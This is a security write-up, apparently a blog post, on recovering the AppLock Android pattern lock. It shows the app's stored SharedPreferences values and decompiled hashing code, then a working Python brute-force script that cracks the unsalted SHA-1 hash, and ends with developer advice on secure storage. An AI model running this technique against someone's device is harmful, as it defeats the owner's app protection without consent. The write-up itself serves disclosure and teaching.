BOOK THIS SPACE FOR AD
ARTICLE ADAppLock is a popular Android application used to secure apps with a pattern lock. While analyzing an installation, I found that the lock pattern is stored in SharedPreferences. By reverse-engineering the encryption logic and using a Python brute-force script, I successfully recovered the pattern. Here’s how I did it.
While exploring the shared_prefs directory of the app, I found the following interesting values:
<string name="last_unlock_pkg">com.domobile.applock</string><string name="key_available_hider_folder">.MySecurityData</string>
<boolean name="auto_lock_settings_success" value="true" />
<int name="current_android_sdk_version" value="32" />
<string name="image_lock_pattern">tZksiPNGJOe1patHYxip95dBmXE=</string>
<string name="secure_email">ahmedelsayedzizo@abdo.com</string>
The most interesting field was image_lock_pattern, which is a Base64-encoded string.
I decompiled the APK using JADX-GUI and searched for image_lock_pattern. I found the following decryption function:
static byte[] m4692d(List list) {if (list == null) {
return null;
}
int size = list.size();
byte[] bArr = new byte[size];
for (int i = 0; i < size; i++) {
C1547f c1547f = (C1547f) list.get(i);
bArr[i] = (byte) (c1547f.m4698b() + (c1547f.m4697a() * 3));
}
try {
return MessageDigest.getInstance("SHA-1").digest(bArr);
} catch (NoSuchAlgorithmException e) {
return bArr;
}
}
The function shows that:
The pattern is converted into a byte array.2.A SHA-1 hash is generated.
3.The result is stored in Base64 format.
To crack the pattern, I needed to brute-force all possible combinations and match the SHA-1 hash.
I wrote a Python script to generate all possible patterns and compute their SHA-1 hashes:
import itertoolsimport hashlib
import base64def get_pattern_bytes(pattern):
"""Convert a pattern (list of positions) into the byte format used in Java code."""
return bytes([(pos // 3) * 3 + (pos % 3) for pos in pattern])def sha1_hash(data):
"""Compute SHA-1 hash of the given data."""
return hashlib.sha1(data).digest()def brute_force_pattern(target_hash):
"""Try all possible patterns to find the correct one."""
target_hash_bytes = base64.b64decode(target_hash)
# Generate all possible patterns (minimum length 4, max 9)
positions = list(range(9)) # 3x3 grid has positions 0 to 8
for length in range(4, 10):
for pattern in itertools.permutations(positions, length):
pattern_bytes = get_pattern_bytes(pattern)
if sha1_hash(pattern_bytes) == target_hash_bytes:
return pattern # Found correct pattern
return None # If no pattern matches
# Given Base64 SHA-1 hashtarget_hash = "tZksiPNGJOe1patHYxip95dBmXE="# Find the correct pattern
correct_pattern = brute_force_pattern(target_hash)
if correct_pattern:
print(f"Correct pattern found: {correct_pattern}")
else:
print("Pattern not found.")
The script successfully found the correct pattern, which maps to the following 3x3 grid:
0 1 23 4 5
6 7 8
The output of the script provided the exact positions of the drawn pattern.
This analysis shows how poor storage practices can expose user security data. Best practices for developers include:
Never storing security-sensitive information in SharedPreferences.Using a secure KeyStore for pattern encryption.Implementing a more secure hashing mechanism with salting.This technique can be extended to other Android security apps that store pattern locks improperly.Let me know your thoughts in the comments! 🚀